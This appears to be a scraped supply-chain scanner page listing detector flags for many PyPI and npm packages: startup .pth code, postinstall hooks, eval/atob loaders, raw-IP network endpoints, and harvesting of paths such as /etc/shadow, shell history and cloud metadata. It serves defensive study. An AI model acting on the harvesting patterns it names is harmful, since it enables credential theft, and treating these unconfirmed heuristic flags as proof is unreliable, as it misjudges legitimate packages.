• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in aws_ansible_sdk-0.0.2/src/cloudformation.py:8
• SOURCE_CODE_ENV_VARS_ACCESS: 'Sensitive Token Harvesting' found in aws_ansible_sdk-0.0.2/src/cloudformation.py:8
• SOURCE_CODE_POTENTIAL_STEALER: potential exfiltration endpoint combined with credential/environment harvesting in aws_ansible_sdk-0.0.2/src/cloudformation.py

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name 'odoo8-addon-shopinvader-google-shopping' matches AI hallucination template [odoo8] + [google] + [shopinvader].
• HIGHClaims critical enterprise brand identity ('GOOGLE').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• INFOEstablished pre-AI legacy package registered 1676 days ago (predates modern AI hallucination waves).
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in odoo8_addon_shopinvader_google_shopping-8.0.1.0.0.99.dev5-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in odoo8_addon_shopinvader_google_shopping-8.0.1.0.0.99.dev5-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'

• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in odoo8_addon_shopinvader_google_shopping-8.0.1.0.0.99.dev5-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'
• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in odoo8_addon_shopinvader_google_shopping-8.0.1.0.0.99.dev5-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name 'odoo8-addon-shopinvader-stripe' matches AI hallucination template [odoo8] + [stripe] + [shopinvader].
• HIGHClaims critical enterprise brand identity ('STRIPE').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• INFOEstablished pre-AI legacy package registered 1676 days ago (predates modern AI hallucination waves).
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in odoo8_addon_shopinvader_stripe-8.0.1.0.0.99.dev6-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in odoo8_addon_shopinvader_stripe-8.0.1.0.0.99.dev6-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'

• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in odoo8_addon_shopinvader_stripe-8.0.1.0.0.99.dev6-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'
• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in odoo8_addon_shopinvader_stripe-8.0.1.0.0.99.dev6-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name 'odoo9-addon-website-google-tag-manager' matches AI hallucination template [odoo9] + [google] + [website].
• HIGHClaims critical enterprise brand identity ('GOOGLE').
• HIGHPublisher email 'support@odoo-community.org' is not affiliated with official vendor domain.
• INFOEstablished pre-AI legacy package registered 3451 days ago (predates modern AI hallucination waves).
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in odoo9_addon_website_google_tag_manager-9.0.1.0.0-py2.7-nspkg.pth: 'import sys, types, os;p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo_addons',));ie = os.path.exists(os.p'
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in odoo9_addon_website_google_tag_manager-9.0.1.0.0-py2.7-nspkg.pth: 'import sys, types, os;p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo_addons',));ie = os.path.exists(os.p'

• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in odoo9_addon_website_google_tag_manager-9.0.1.0.0-py2.7-nspkg.pth: 'import sys, types, os;p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo_addons',));ie = os.path.exists(os.p'
• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in odoo9_addon_website_google_tag_manager-9.0.1.0.0-py2.7-nspkg.pth: 'import sys, types, os;p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo_addons',));ie = os.path.exists(os.p'

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage published 5+ versions in rapid succession (< 24h) to mimic mature open source maintenance.
• HIGHPackage registered recently (20 days ago) during the active AI hallucination slopsquatting wave.
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_auth_manager-0.0.6/scripts/test-fallback-tui.py:25
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_auth_manager-0.0.6/scripts/test-install-lifecycle.py:22
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_auth_manager-0.0.6/scripts/test-install-lifecycle.py:45
• CRITICALMODULE_TOPLEVEL_EXECUTION: 'subprocess.run' executed at module scope (runs on import) in claude_auth_manager-0.0.6/scripts/test-native-switch.py:24
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_auth_manager-0.0.6/scripts/test-native-switch.py:24
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_auth_manager-0.0.6/scripts/test-native-switch.py:15

• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_auth_manager-0.0.6/scripts/test-fallback-tui.py:25
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_auth_manager-0.0.6/scripts/test-install-lifecycle.py:22
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_auth_manager-0.0.6/scripts/test-install-lifecycle.py:45
• MODULE_TOPLEVEL_EXECUTION: 'subprocess.run' executed at module scope (runs on import) in claude_auth_manager-0.0.6/scripts/test-native-switch.py:24
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_auth_manager-0.0.6/scripts/test-native-switch.py:24
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_auth_manager-0.0.6/scripts/test-native-switch.py:15
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_auth_manager-0.0.6/scripts/test-ranked-picker.py:25
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_auth_manager-0.0.6/src/claude_auth_manager/check.py:190

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name 'langchain-nomad' matches AI hallucination template [python] + [langchain] + [nomad].
• HIGHClaims critical enterprise brand identity ('LANGCHAIN').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• HIGHPackage registered recently (115 days ago) during the active AI hallucination slopsquatting wave.
• CRITICALOBFUSCATED_DYNAMIC_ACCESS: __import__() dynamic loading 'os' detected in langchain_nomad-0.1.0/setup.py:7

• OBFUSCATED_DYNAMIC_ACCESS: __import__() dynamic loading 'os' detected in langchain_nomad-0.1.0/setup.py:7

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• HIGHClaims critical enterprise brand identity ('LLAMA').
• HIGHPublisher email 'staneyffer@gmail.com' is not affiliated with official vendor domain.
• MEDIUMPackage has empty or near-zero description (potential reservation stub).
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_cpp_server_py_core-0.1.4/llama.cpp/convert_hf_to_gguf.py:28
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_cpp_server_py_core-0.1.4/llama.cpp/convert_llama_ggml_to_gguf.py:14
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_cpp_server_py_core-0.1.4/llama.cpp/convert_lora_to_gguf.py:22
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in llama_cpp_server_py_core-0.1.4/llama.cpp/ggml/src/ggml-kompute/kompute/scripts/convert_shaders.py:100
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in llama_cpp_server_py_core-0.1.4/llama.cpp/ggml/src/ggml-kompute/kompute/setup.py:25

• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_cpp_server_py_core-0.1.4/llama.cpp/convert_hf_to_gguf.py:28
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_cpp_server_py_core-0.1.4/llama.cpp/convert_llama_ggml_to_gguf.py:14
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_cpp_server_py_core-0.1.4/llama.cpp/convert_lora_to_gguf.py:22
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in llama_cpp_server_py_core-0.1.4/llama.cpp/ggml/src/ggml-kompute/kompute/scripts/convert_shaders.py:100
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in llama_cpp_server_py_core-0.1.4/llama.cpp/ggml/src/ggml-kompute/kompute/setup.py:25
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_cpp_server_py_core-0.1.4/llama.cpp/ggml/src/ggml-kompute/kompute/setup.py:56
• SUSPICIOUS_OBFUSCATION: 'Dense Hex Escape Sequences' found in llama_cpp_server_py_core-0.1.4/llama.cpp/gguf-py/gguf/quants.py:660
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_cpp_server_py_core-0.1.4/llama.cpp/gguf-py/gguf/scripts/gguf_convert_endian.py:14

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage published 5+ versions in rapid succession (< 24h) to mimic mature open source maintenance.
• HIGHPackage registered recently (72 days ago) during the active AI hallucination slopsquatting wave.
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in skillwatch-0.4.1/skillwatch/anchoring.py:194
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'eval()' found in skillwatch-0.4.1/skillwatch/detector.py:93
• HIGHSOURCE_CODE_ENCODED_PAYLOAD: 'atob()' found in skillwatch-0.4.1/skillwatch/detector.py:94
• HIGHSOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in skillwatch-0.4.1/skillwatch/detector.py:93
• CRITICALSOURCE_CODE_DYNAMIC_CODE_LOADER: execution primitive combined with decode/network/obfuscation call in skillwatch-0.4.1/skillwatch/detector.py
• INFOSubstantial functional codebase (2675 LOC across 13 file(s)).

• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in skillwatch-0.4.1/skillwatch/anchoring.py:194
• SOURCE_CODE_DYNAMIC_EXECUTION: 'eval()' found in skillwatch-0.4.1/skillwatch/detector.py:93
• SOURCE_CODE_ENCODED_PAYLOAD: 'atob()' found in skillwatch-0.4.1/skillwatch/detector.py:94
• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in skillwatch-0.4.1/skillwatch/detector.py:93
• SOURCE_CODE_DYNAMIC_CODE_LOADER: execution primitive combined with decode/network/obfuscation call in skillwatch-0.4.1/skillwatch/detector.py

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• HIGHClaims critical enterprise brand identity ('LLAMA').
• HIGHPublisher email 'oloruntoba.madamori@totogi.com' is not affiliated with official vendor domain.
• MEDIUMPackage registered 270 days ago within the 1-year AI tool proliferation window.
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_mcp_server-0.2.0/test.py:5
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_mcp_server-0.2.0/llamacloud_mcp/main.py:172
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in llama_mcp_server-0.2.0/venv/Lib/site-packages/distutils-precedence.pth: 'import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__(''
• HIGHPYTHON_PTH_STARTUP_HOOK: Startup .pth file declared in package: llama_mcp_server-0.2.0/venv/Lib/site-packages/pywin32.pth
• HIGHBUNDLED_NATIVE_BINARY: Unexpected compiled binary 'llama_mcp_server-0.2.0/venv/Scripts/docutils.exe' in package archive

• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_mcp_server-0.2.0/test.py:5
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_mcp_server-0.2.0/llamacloud_mcp/main.py:172
• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in llama_mcp_server-0.2.0/venv/Lib/site-packages/distutils-precedence.pth: 'import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__(''
• PYTHON_PTH_STARTUP_HOOK: Startup .pth file declared in package: llama_mcp_server-0.2.0/venv/Lib/site-packages/pywin32.pth
• BUNDLED_NATIVE_BINARY: Unexpected compiled binary 'llama_mcp_server-0.2.0/venv/Scripts/docutils.exe' in package archive
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in llama_mcp_server-0.2.0/venv/Scripts/pywin32_testall.py:25

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name 'skelform-kraken' matches AI hallucination template [python] + [kraken] + [skelform].
• HIGHClaims critical enterprise brand identity ('KRAKEN').
• HIGHPublisher email 'darkglasses1122@gmail.com' is not affiliated with official vendor domain.
• MEDIUMPackage registered 197 days ago within the 1-year AI tool proliferation window.
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in skelform_kraken-0.7.0/venv/lib/python3.14/site-packages/distutils-precedence.pth: 'import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__(''

• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in skelform_kraken-0.7.0/venv/lib/python3.14/site-packages/distutils-precedence.pth: 'import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__(''

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name 'ultimate-sol' matches AI hallucination template [python] + [sol] + [ultimate].
• HIGHClaims critical enterprise brand identity ('SOL').
• HIGHPublisher email 'smbd0x@rambler.ru' is not affiliated with official vendor domain.
• HIGHPYTHON_PTH_STARTUP_HOOK: Startup .pth file declared in package: ultimate_sol-0.0.3/venv/Lib/site-packages/_virtualenv.pth
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in ultimate_sol-0.0.3/venv/Lib/site-packages/distutils-precedence.pth: 'import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__(''
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in ultimate_sol-0.0.3/venv/Scripts/activate_this.py:24
• HIGHBUNDLED_NATIVE_BINARY: Unexpected compiled binary 'ultimate_sol-0.0.3/venv/Scripts/base58.exe' in package archive
• INFOSubstantial functional codebase (537 LOC across 7 file(s)).

• PYTHON_PTH_STARTUP_HOOK: Startup .pth file declared in package: ultimate_sol-0.0.3/venv/Lib/site-packages/_virtualenv.pth
• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in ultimate_sol-0.0.3/venv/Lib/site-packages/distutils-precedence.pth: 'import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__(''
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in ultimate_sol-0.0.3/venv/Scripts/activate_this.py:24
• BUNDLED_NATIVE_BINARY: Unexpected compiled binary 'ultimate_sol-0.0.3/venv/Scripts/base58.exe' in package archive

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• HIGHClaims critical enterprise brand identity ('WEB3').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• MEDIUMPackage has empty or near-zero description (potential reservation stub).
• HIGHLIFECYCLE_SCRIPT: 'postinstall' -> 'openapi'
• HIGHMISSING_SOURCE_REPOSITORY_URL
• HIGHEXFILTRATION_DESTINATION_DETECTED: 'Raw Public IP Endpoint' found in package/dist/index.js:79
• HIGHSOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/index.js:90

• LIFECYCLE_SCRIPT: 'postinstall' -> 'openapi'
• MISSING_SOURCE_REPOSITORY_URL
• EXFILTRATION_DESTINATION_DETECTED: 'Raw Public IP Endpoint' found in package/dist/index.js:79
• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/index.js:90

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →

• MEDIUMPackage published 5+ versions in rapid succession (< 24h) to mimic mature open source maintenance.
• HIGHPackage registered recently (10 days ago) during the active AI hallucination slopsquatting wave.
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in poppy_ai-0.5.1/src/poppy/agent.py:102
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in poppy_ai-0.5.1/src/poppy/agent.py:92
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in poppy_ai-0.5.1/src/poppy/demo.py:462
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in poppy_ai-0.5.1/src/poppy/library.py:347
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in poppy_ai-0.5.1/src/poppy/mailer.py:53
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in poppy_ai-0.5.1/src/poppy/schedule.py:132

• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in poppy_ai-0.5.1/src/poppy/agent.py:102
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in poppy_ai-0.5.1/src/poppy/agent.py:92
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in poppy_ai-0.5.1/src/poppy/demo.py:462
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in poppy_ai-0.5.1/src/poppy/library.py:347
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in poppy_ai-0.5.1/src/poppy/mailer.py:53
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in poppy_ai-0.5.1/src/poppy/schedule.py:132
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in poppy_ai-0.5.1/src/poppy/schedule.py:186
• SYSTEM_PERSISTENCE_TAMPERING: 'Cron Job Installation / Tampering' found in poppy_ai-0.5.1/src/poppy/schedule.py:389

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage published 5+ versions in rapid succession (< 24h) to mimic mature open source maintenance.
• HIGHPackage registered recently (52 days ago) during the active AI hallucination slopsquatting wave.
• HIGHSOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in enginery-0.5.0/scripts/adversarial_capability_gate.py:67
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in enginery-0.5.0/scripts/check_docs_currency.py:101
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in enginery-0.5.0/scripts/fault_inject_ledger.py:149
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in enginery-0.5.0/scripts/fault_inject_workers.py:59
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in enginery-0.5.0/scripts/full_system_gate.py:997
• HIGHSOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in enginery-0.5.0/scripts/full_system_gate.py:265

• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in enginery-0.5.0/scripts/adversarial_capability_gate.py:67
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in enginery-0.5.0/scripts/check_docs_currency.py:101
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in enginery-0.5.0/scripts/fault_inject_ledger.py:149
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in enginery-0.5.0/scripts/fault_inject_workers.py:59
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in enginery-0.5.0/scripts/full_system_gate.py:997
• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in enginery-0.5.0/scripts/full_system_gate.py:265
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in enginery-0.5.0/scripts/release_consumer_smoke.py:18
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in enginery-0.5.0/scripts/release_gate.py:96

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name 'tlc-claude-code' matches AI hallucination template [tlc] + [claude] + [code].
• HIGHClaims critical enterprise brand identity ('CLAUDE').
• INFOPackage release verified with cryptographic build provenance (npm_slsa_sigstore). Guarantees authentic repository build pipeline and eliminates publisher domain spoofing risk.
• MEDIUMPackage registered 225 days ago within the 1-year AI tool proliferation window.
• HIGHLIFECYCLE_SCRIPT: 'postinstall' -> 'node bin/postinstall.js'
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'eval()' found in package/server/lib/access-control.js:320 (+2 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/server/lib/agent-persistence.js:28 (+31 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/server/lib/api-provider.js:45 (+22 more occurrence(s) elsewhere)

• LIFECYCLE_SCRIPT: 'postinstall' -> 'node bin/postinstall.js'
• SOURCE_CODE_DYNAMIC_EXECUTION: 'eval()' found in package/server/lib/access-control.js:320 (+2 more occurrence(s) elsewhere)
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/server/lib/agent-persistence.js:28 (+31 more occurrence(s) elsewhere)
• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/server/lib/api-provider.js:45 (+22 more occurrence(s) elsewhere)
• SOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/server/lib/audit-attribution.js:5 (+26 more occurrence(s) elsewhere)
• SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/server/lib/audit-attribution.js:18 (+15 more occurrence(s) elsewhere)
• SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/server/lib/security/auth-security.js:91 (+5 more occurrence(s) elsewhere)
• SOURCE_CODE_NETWORK_CALL: 'require('http(s)')' found in package/server/lib/security/compose-templates.js:53 (+4 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →

• HIGHClaims critical enterprise brand identity ('CLAUDE').
• INFOPackage release verified with cryptographic build provenance (npm_slsa_sigstore). Guarantees authentic repository build pipeline and eliminates publisher domain spoofing risk.
• MEDIUMPackage registered 268 days ago within the 1-year AI tool proliferation window.
• HIGHLIFECYCLE_SCRIPT: 'postinstall' -> 'node scripts/postinstall.js || true'
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/tools/agent.js:429 (+131 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/dist/web/server/routes/ai-editor.js:1626 (+41 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/mcp/auto-discovery.js:141 (+22 more occurrence(s) elsewhere)
• HIGHCREDENTIAL_PATH_HARVESTING: 'Shell Command History (~/.bash_history, ~/.zsh_history)' found in package/dist/tools/bash-history.js:35 (+3 more occurrence(s) elsewhere)

• LIFECYCLE_SCRIPT: 'postinstall' -> 'node scripts/postinstall.js || true'
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/tools/agent.js:429 (+131 more occurrence(s) elsewhere)
• SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/dist/web/server/routes/ai-editor.js:1626 (+41 more occurrence(s) elsewhere)
• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/mcp/auto-discovery.js:141 (+22 more occurrence(s) elsewhere)
• CREDENTIAL_PATH_HARVESTING: 'Shell Command History (~/.bash_history, ~/.zsh_history)' found in package/dist/tools/bash-history.js:35 (+3 more occurrence(s) elsewhere)
• CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in package/dist/tools/bash.js:682 (+21 more occurrence(s) elsewhere)
• SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/dist/blueprint/browser-test-tools.js:478 (+5 more occurrence(s) elsewhere)
• CREDENTIAL_PATH_HARVESTING: 'System Credentials (/etc/shadow, /etc/passwd)' found in package/dist/sandbox/bubblewrap.js:300 (+3 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →

• MEDIUMPackage name '@sweetcornna/open-claude-code' matches AI hallucination template [node] + [claude] + [open-claude-code].
• HIGHClaims critical enterprise brand identity ('CLAUDE').
• INFOPackage release verified with cryptographic build provenance (npm_slsa_sigstore). Guarantees authentic repository build pipeline and eliminates publisher domain spoofing risk.
• HIGHPackage registered recently (51 days ago) during the active AI hallucination slopsquatting wave.
• HIGHLIFECYCLE_SCRIPT: 'postinstall' -> 'node scripts/postinstall.cjs'
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/scripts/postinstall.cjs:23
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/scripts/postinstall.cjs:146 (+4 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/scripts/postinstall.cjs:174 (+11 more occurrence(s) elsewhere)

• LIFECYCLE_SCRIPT: 'postinstall' -> 'node scripts/postinstall.cjs'
• SOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/scripts/postinstall.cjs:23
• SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/scripts/postinstall.cjs:146 (+4 more occurrence(s) elsewhere)
• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/scripts/postinstall.cjs:174 (+11 more occurrence(s) elsewhere)
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/scripts/postinstall.cjs:42 (+129 more occurrence(s) elsewhere)
• SOURCE_CODE_ENCODED_PAYLOAD: 'atob()' found in package/dist/chunks/auth-uXIJcoGG.js:1 (+4 more occurrence(s) elsewhere)
• CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in package/dist/chunks/claudeDesktop-Cdvs6bq6.js:1 (+1 more occurrence(s) elsewhere)
• CREDENTIAL_PATH_HARVESTING: 'Cloud Instance Metadata (AWS/GCP/Azure IMDS)' found in package/dist/chunks/dist-es-BojmTNsk2.js:1 (+2 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →

• MEDIUMPackage name 'rustchain-langchain' matches AI hallucination template [python] + [langchain] + [rustchain].
